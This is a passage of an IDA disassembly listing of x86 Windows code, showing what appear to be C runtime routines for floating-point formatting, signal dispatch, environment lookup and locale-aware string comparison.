sub_421208 endp
; ---------------------------------------------------------------------------
off_4216A9 dd offset loc_421272 ; DATA XREF: sub_421208+63r
dd offset loc_4212C1 ; jump table for switch statement
dd offset loc_421318
dd offset loc_421342
dd offset loc_42139D
dd offset loc_421414
dd offset loc_42144A
dd offset loc_421494
dd offset loc_421473
dd offset loc_4214F8
dd offset loc_4214E2
dd offset loc_4214AE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216D9 proc near ; CODE XREF: sub_420477+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_42173B
mov byte ptr [ebx+2], 2Dh
jmp short loc_42173F
; ---------------------------------------------------------------------------
loc_42173B: ; CODE XREF: sub_4216D9+5Aj
mov byte ptr [ebx+2], 20h
loc_42173F: ; CODE XREF: sub_4216D9+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_421765
test edi, edi
jnz short loc_421765
cmp [ebp+arg_0], edi
jnz short loc_421765
loc_421750: ; CODE XREF: sub_4216D9+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_421963
; ---------------------------------------------------------------------------
loc_421765: ; CODE XREF: sub_4216D9+6Cj
; sub_4216D9+70j ...
cmp dx, si
jnz short loc_4217E4
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_42177E
cmp [ebp+arg_0], 0
jz short loc_42178D
loc_42177E: ; CODE XREF: sub_4216D9+9Dj
test edi, 40000000h
jnz short loc_42178D
push offset a1Snan ; "1#SNAN"
jmp short loc_4217D3
; ---------------------------------------------------------------------------
loc_42178D: ; CODE XREF: sub_4216D9+A3j
; sub_4216D9+ABj
test cx, cx
jz short loc_4217A7
cmp edi, 0C0000000h
jnz short loc_4217A7
cmp [ebp+arg_0], 0
jnz short loc_4217CE
push offset a1Ind ; "1#IND"
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_4217A7: ; CODE XREF: sub_4216D9+B7j
; sub_4216D9+BFj
cmp edi, eax
jnz short loc_4217CE
cmp [ebp+arg_0], 0
jnz short loc_4217CE
push offset a1Inf ; "1#INF"
loc_4217B6: ; CODE XREF: sub_4216D9+CCj
lea eax, [ebx+4]
push eax
call sub_4176C0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4217C5: ; CODE XREF: sub_4216D9+109j
and [ebp+var_4], 0
jmp loc_42193C
; ---------------------------------------------------------------------------
loc_4217CE: ; CODE XREF: sub_4216D9+C5j
; sub_4216D9+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4217D3: ; CODE XREF: sub_4216D9+B2j
lea eax, [ebx+4]
push eax
call sub_4176C0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4217C5
; ---------------------------------------------------------------------------
loc_4217E4: ; CODE XREF: sub_4216D9+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_421DF1
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_421845
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_421BD1
pop ecx
pop ecx
loc_421845: ; CODE XREF: sub_4216D9+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_42185F
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_421862
jmp loc_421750
; ---------------------------------------------------------------------------
loc_42185F: ; CODE XREF: sub_4216D9+173j
mov edi, [ebp+arg_C]
loc_421862: ; CODE XREF: sub_4216D9+17Fj
cmp edi, 15h
jle short loc_42186A
push 15h
pop edi
loc_42186A: ; CODE XREF: sub_4216D9+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_421880: ; CODE XREF: sub_4216D9+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4210E6
dec [ebp+arg_14]
pop ecx
jnz short loc_421880
test esi, esi
jge short loc_4218AA
neg esi
and esi, 0FFh
jle short loc_4218AA
loc_42189D: ; CODE XREF: sub_4216D9+1CFj
lea eax, [ebp+var_10]
push eax
call sub_421114
dec esi
pop ecx
jnz short loc_42189D
loc_4218AA: ; CODE XREF: sub_4216D9+1B8j
; sub_4216D9+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_421907
mov [ebp+arg_C], ecx
loc_4218BA: ; CODE XREF: sub_4216D9+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4210E6
lea eax, [ebp+var_10]
push eax
call sub_4210E6
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_421088
lea eax, [ebp+var_10]
push eax
call sub_4210E6
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4218BA
mov eax, [ebp+arg_14]
loc_421907: ; CODE XREF: sub_4216D9+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_421944
loc_421914: ; CODE XREF: sub_4216D9+248j
cmp eax, ecx
jb short loc_421927
cmp byte ptr [eax], 39h
jnz short loc_421923
mov byte ptr [eax], 30h
dec eax
jmp short loc_421914
; ---------------------------------------------------------------------------
loc_421923: ; CODE XREF: sub_4216D9+242j
cmp eax, ecx
jnb short loc_42192B
loc_421927: ; CODE XREF: sub_4216D9+23Dj
inc eax
inc word ptr [ebx]
loc_42192B: ; CODE XREF: sub_4216D9+24Cj
inc byte ptr [eax]
loc_42192D: ; CODE XREF: sub_4216D9+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_42193C: ; CODE XREF: sub_4216D9+F0j
mov eax, [ebp+var_4]
loc_42193F: ; CODE XREF: sub_4216D9+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421944: ; CODE XREF: sub_4216D9+239j
; sub_4216D9+275j
cmp eax, ecx
jb short loc_421954
cmp byte ptr [eax], 30h
jnz short loc_421950
dec eax
jmp short loc_421944
; ---------------------------------------------------------------------------
loc_421950: ; CODE XREF: sub_4216D9+272j
cmp eax, ecx
jnb short loc_42192D
loc_421954: ; CODE XREF: sub_4216D9+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_421963: ; CODE XREF: sub_4216D9+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_42193F
sub_4216D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42196C proc near ; CODE XREF: sub_41D1FC+345Bp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4219D3
dec eax
dec eax
jz short loc_4219C4
sub eax, 4
jz short loc_4219C4
sub eax, 3
jz short loc_4219C4
sub eax, 4
jz short loc_4219B7
sub eax, 6
jz short loc_4219AA
dec eax
jz short loc_42199D
or eax, 0FFFFFFFFh
jmp loc_421A95
; ---------------------------------------------------------------------------
loc_42199D: ; CODE XREF: sub_42196C+27j
mov esi, dword_48978C
mov eax, offset dword_48978C
jmp short loc_4219DE
; ---------------------------------------------------------------------------
loc_4219AA: ; CODE XREF: sub_42196C+24j
mov esi, dword_489788
mov eax, offset dword_489788
jmp short loc_4219DE
; ---------------------------------------------------------------------------
loc_4219B7: ; CODE XREF: sub_42196C+1Fj
mov esi, dword_489790
mov eax, offset dword_489790
jmp short loc_4219DE
; ---------------------------------------------------------------------------
loc_4219C4: ; CODE XREF: sub_42196C+10j
; sub_42196C+15j ...
push edi
call sub_421A99
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4219DE
; ---------------------------------------------------------------------------
loc_4219D3: ; CODE XREF: sub_42196C+Cj
mov esi, dword_489784
mov eax, offset dword_489784
loc_4219DE: ; CODE XREF: sub_42196C+3Cj
; sub_42196C+49j ...
cmp esi, 1
jnz short loc_4219EA
xor eax, eax
jmp loc_421A95
; ---------------------------------------------------------------------------
loc_4219EA: ; CODE XREF: sub_42196C+75j
test esi, esi
jnz short loc_4219F5
push 3
call sub_4197F6
loc_4219F5: ; CODE XREF: sub_42196C+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_421A07
cmp edi, 0Bh
jz short loc_421A07
cmp edi, 4
jnz short loc_421A2D
loc_421A07: ; CODE XREF: sub_42196C+8Fj
; sub_42196C+94j
mov ebx, dword_489560
and dword_489560, 0
cmp edi, ecx
jnz short loc_421A5C
mov edx, dword_43B0FC
mov dword_43B0FC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_421A30
; ---------------------------------------------------------------------------
loc_421A2D: ; CODE XREF: sub_42196C+99j
mov ebx, [ebp+arg_0]
loc_421A30: ; CODE XREF: sub_42196C+BFj
cmp edi, ecx
jnz short loc_421A5C
mov eax, dword_43B0F0
mov ecx, dword_43B0F4
add ecx, eax
cmp eax, ecx
jge short loc_421A63
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43B080h[edx*4]
loc_421A51: ; CODE XREF: sub_42196C+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_421A51
jmp short loc_421A63
; ---------------------------------------------------------------------------
loc_421A5C: ; CODE XREF: sub_42196C+AAj
; sub_42196C+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_421A71
loc_421A63: ; CODE XREF: sub_42196C+D7j
; sub_42196C+EEj
push dword_43B0FC
push 8
call esi
pop ecx
pop ecx
jmp short loc_421A7F
; ---------------------------------------------------------------------------
loc_421A71: ; CODE XREF: sub_42196C+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_421A7F
cmp edi, 4
jnz short loc_421A92
loc_421A7F: ; CODE XREF: sub_42196C+103j
; sub_42196C+10Cj
cmp edi, 8
mov dword_489560, ebx
jnz short loc_421A92
mov eax, [ebp+arg_0]
mov dword_43B0FC, eax
loc_421A92: ; CODE XREF: sub_42196C+111j
; sub_42196C+11Cj
xor eax, eax
pop ebx
loc_421A95: ; CODE XREF: sub_42196C+2Cj
; sub_42196C+79j
pop edi
pop esi
pop ebp
retn
sub_42196C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421A99 proc near ; CODE XREF: sub_42196C+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43B0F8
cmp dword_43B07C, edx
push esi
mov eax, offset dword_43B078
jz short loc_421AC7
lea esi, [ecx+ecx*2]
lea esi, ds:43B078h[esi*4]
loc_421ABB: ; CODE XREF: sub_421A99+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_421AC7
cmp [eax+4], edx
jnz short loc_421ABB
loc_421AC7: ; CODE XREF: sub_421A99+16j
; sub_421A99+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43B078h[ecx*4]
cmp eax, ecx
jnb short loc_421ADB
cmp [eax+4], edx
jz short locret_421ADD
loc_421ADB: ; CODE XREF: sub_421A99+3Bj
xor eax, eax
locret_421ADD: ; CODE XREF: sub_421A99+40j
retn
sub_421A99 endp
; =============== S U B R O U T I N E =======================================
sub_421ADE proc near ; CODE XREF: sub_42067A+23p
arg_0 = dword ptr 4
cmp dword_48AB30, 0
push ebx
push esi
mov esi, dword_4894D4
push edi
jz short loc_421B55
test esi, esi
jnz short loc_421B0F
cmp dword_4894DC, esi
jz short loc_421B55
call sub_421EAC
test eax, eax
jnz short loc_421B55
mov esi, dword_4894D4
test esi, esi
jz short loc_421B55
loc_421B0F: ; CODE XREF: sub_421ADE+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_421B55
push ebx
call sub_4177B0
pop ecx
mov edi, eax
loc_421B20: ; CODE XREF: sub_421ADE+6Dj
mov eax, [esi]
test eax, eax
jz short loc_421B55
push eax
call sub_4177B0
cmp eax, edi
pop ecx
jbe short loc_421B48
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_421B48
push edi
push ebx
push eax
call sub_421E6D
add esp, 0Ch
test eax, eax
jz short loc_421B4D
loc_421B48: ; CODE XREF: sub_421ADE+51j
; sub_421ADE+59j
add esi, 4
jmp short loc_421B20
; ---------------------------------------------------------------------------
loc_421B4D: ; CODE XREF: sub_421ADE+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_421B57
; ---------------------------------------------------------------------------
loc_421B55: ; CODE XREF: sub_421ADE+10j
; sub_421ADE+1Cj ...
xor eax, eax
loc_421B57: ; CODE XREF: sub_421ADE+75j
pop edi
pop esi
pop ebx
retn
sub_421ADE endp
; =============== S U B R O U T I N E =======================================
sub_421B5B proc near ; CODE XREF: sub_420F21+8Bp
; sub_420F21+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_48A8E0
jnb short loc_421BC2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_48A7E0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_421BC2
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_421B9B
and cl, 7Fh
jmp short loc_421BA8
; ---------------------------------------------------------------------------
loc_421B9B: ; CODE XREF: sub_421B5B+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_421BB6
or cl, 80h
loc_421BA8: ; CODE XREF: sub_421B5B+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_421BB6: ; CODE XREF: sub_421B5B+48j
mov dword_4894AC, 16h
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BC2: ; CODE XREF: sub_421B5B+Bj
; sub_421B5B+27j
mov dword_4894AC, 9
loc_421BCC: ; CODE XREF: sub_421B5B+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_421B5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BD1 proc near ; CODE XREF: sub_4216D9+165p
; sub_421DF1+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_421DD1
cmp cx, 7FFFh
jnb loc_421DD1
cmp dx, 0BFFDh
ja loc_421DD1
cmp dx, 3FBFh
ja short loc_421C3A
xor eax, eax
jmp short loc_421C74
; ---------------------------------------------------------------------------
loc_421C3A: ; CODE XREF: sub_421BD1+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_421C5C
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_421C5C
xor eax, eax
cmp [esi+4], eax
jnz short loc_421C5E
cmp [esi], eax
jnz short loc_421C5E
jmp loc_421DCB
; ---------------------------------------------------------------------------
loc_421C5C: ; CODE XREF: sub_421BD1+71j
; sub_421BD1+79j
xor eax, eax
loc_421C5E: ; CODE XREF: sub_421BD1+80j
; sub_421BD1+84j
cmp cx, ax
jnz short loc_421C81
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_421C81
cmp [ebx+4], eax
jnz short loc_421C81
cmp [ebx], eax
jnz short loc_421C81
loc_421C74: ; CODE XREF: sub_421BD1+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_421DEC
; ---------------------------------------------------------------------------
loc_421C81: ; CODE XREF: sub_421BD1+90j
; sub_421BD1+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_421C91: ; CODE XREF: sub_421BD1+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_421CE5
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_421CAD: ; CODE XREF: sub_421BD1+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_421067
add esp, 0Ch
test eax, eax
jz short loc_421CD8
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_421CD8: ; CODE XREF: sub_421BD1+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_421CAD
loc_421CE5: ; CODE XREF: sub_421BD1+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_421C91
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_421D28
loc_421D03: ; CODE XREF: sub_421BD1+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_421D21
lea eax, [ebp+var_24]
push eax
call sub_4210E6
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_421D03
loc_421D21: ; CODE XREF: sub_421BD1+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_421D61
loc_421D28: ; CODE XREF: sub_421BD1+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_421D61
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_421D41: ; CODE XREF: sub_421BD1+184j
test byte ptr [ebp+var_24], 1
jz short loc_421D4A
inc [ebp+var_14]
loc_421D4A: ; CODE XREF: sub_421BD1+174j
lea eax, [ebp+var_24]
push eax
call sub_421114
dec ebx
pop ecx
jnz short loc_421D41
cmp [ebp+var_14], 0
jz short loc_421D61
or byte ptr [ebp+var_24], 1
loc_421D61: ; CODE XREF: sub_421BD1+155j
; sub_421BD1+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_421D78
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_421DAD
loc_421D78: ; CODE XREF: sub_421BD1+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_421DAA
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_421DA5
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_421D9F
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421D9F: ; CODE XREF: sub_421BD1+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421DA5: ; CODE XREF: sub_421BD1+1B5j
inc [ebp+var_20+2]
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421DAA: ; CODE XREF: sub_421BD1+1ABj
inc [ebp+var_24+2]
loc_421DAD: ; CODE XREF: sub_421BD1+1A5j
; sub_421BD1+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_421DD1
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_421DCB: ; CODE XREF: sub_421BD1+86j
mov [esi+0Ah], ax
jmp short loc_421DEC
; ---------------------------------------------------------------------------
loc_421DD1: ; CODE XREF: sub_421BD1+42j
; sub_421BD1+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_421DEC: ; CODE XREF: sub_421BD1+ABj
; sub_421BD1+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_421BD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DF1 proc near ; CODE XREF: sub_421208+440p
; sub_4216D9+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43B570
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_421E6A
jge short loc_421E19
mov eax, [ebp+arg_4]
mov ebx, offset dword_43B6D0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_421E19: ; CODE XREF: sub_421DF1+16j
cmp [ebp+arg_8], ecx
jnz short loc_421E24
mov eax, [ebp+arg_0]
mov [eax], cx
loc_421E24: ; CODE XREF: sub_421DF1+2Bj
cmp [ebp+arg_4], ecx
jz short loc_421E6A
push esi
push edi
loc_421E2B: ; CODE XREF: sub_421DF1+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_421E63
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_421E56
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_421E56: ; CODE XREF: sub_421DF1+57j
push esi
push [ebp+arg_0]
call sub_421BD1
pop ecx
pop ecx
xor ecx, ecx
loc_421E63: ; CODE XREF: sub_421DF1+49j
cmp [ebp+arg_4], ecx
jnz short loc_421E2B
pop edi
pop esi
loc_421E6A: ; CODE XREF: sub_421DF1+14j
; sub_421DF1+36j
pop ebx
leave
retn
sub_421DF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E6D proc near ; CODE XREF: sub_421ADE+5Ep
; sub_42231E+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_421E7A
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421E7A: ; CODE XREF: sub_421E6D+7j
push dword_48A8E4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_48AB04
call sub_421F1A
add esp, 1Ch
test eax, eax
jnz short loc_421EA7
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421EA7: ; CODE XREF: sub_421E6D+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_421E6D endp
; =============== S U B R O U T I N E =======================================
sub_421EAC proc near ; CODE XREF: sub_421ADE+1Ep
; sub_422197+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4894DC
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_421F0D
mov ebx, dword_423150
loc_421EC5: ; CODE XREF: sub_421EAC+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_421F15
push ebp
call sub_417889
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_421F15
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_421F15
push edi
push [esp+18h+var_4]
call sub_422197
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_421EC5
loc_421F0D: ; CODE XREF: sub_421EAC+11j
xor eax, eax
loc_421F0F: ; CODE XREF: sub_421EAC+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_421F15: ; CODE XREF: sub_421EAC+29j
; sub_421EAC+38j ...
or eax, 0FFFFFFFFh
jmp short loc_421F0F
sub_421EAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F1A proc near ; CODE XREF: sub_421E6D+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423C80
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_489798, ebx
push 1
pop edi
jnz short loc_421F8D
push edi
mov eax, offset dword_4238D0
push eax
push edi
push eax
push ebx
push ebx
call dword_423008 ; CompareStringW
test eax, eax
jz short loc_421F6A
mov dword_489798, edi
jmp short loc_421F8D
; ---------------------------------------------------------------------------
loc_421F6A: ; CODE XREF: sub_421F1A+46j
push edi
mov eax, offset dword_43BCF8
push eax
push edi
push eax
push ebx
push ebx
call dword_42300C ; CompareStringA
test eax, eax
jz loc_422183
mov dword_489798, 2
loc_421F8D: ; CODE XREF: sub_421F1A+31j
; sub_421F1A+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_421FA4
push esi
push [ebp+arg_8]
call sub_41E62D
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_421FA4: ; CODE XREF: sub_421F1A+78j
cmp [ebp+arg_14], ebx
jle short loc_421FB9
push [ebp+arg_14]
push [ebp+arg_10]
call sub_41E62D
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_421FB9: ; CODE XREF: sub_421F1A+8Dj
mov eax, dword_489798
cmp eax, 2
jnz short loc_421FDE
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42300C ; CompareStringA
jmp loc_422185
; ---------------------------------------------------------------------------
loc_421FDE: ; CODE XREF: sub_421F1A+A7j
cmp eax, edi
jnz loc_422183
cmp [ebp+arg_18], ebx
jnz short loc_421FF3
mov eax, dword_489550
mov [ebp+arg_18], eax
loc_421FF3: ; CODE XREF: sub_421F1A+CFj
cmp esi, ebx
jz short loc_422000
cmp [ebp+arg_14], ebx
jnz loc_422098
loc_422000: ; CODE XREF: sub_421F1A+DBj
cmp esi, [ebp+arg_14]
jnz short loc_42200D
loc_422005: ; CODE XREF: sub_421F1A+13Cj
; sub_421F1A+16Dj
push 2
loc_422007: ; CODE XREF: sub_421F1A+146j
pop eax
jmp loc_422185
; ---------------------------------------------------------------------------
loc_42200D: ; CODE XREF: sub_421F1A+E9j
cmp [ebp+arg_14], edi
jle short loc_422019
loc_422012: ; CODE XREF: sub_421F1A+151j
; sub_421F1A+159j ...
mov eax, edi
jmp loc_422185
; ---------------------------------------------------------------------------
loc_422019: ; CODE XREF: sub_421F1A+F6j
cmp esi, edi
jg short loc_42205E
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_4231CC ; GetCPInfo
test eax, eax
jz loc_422183
cmp esi, ebx
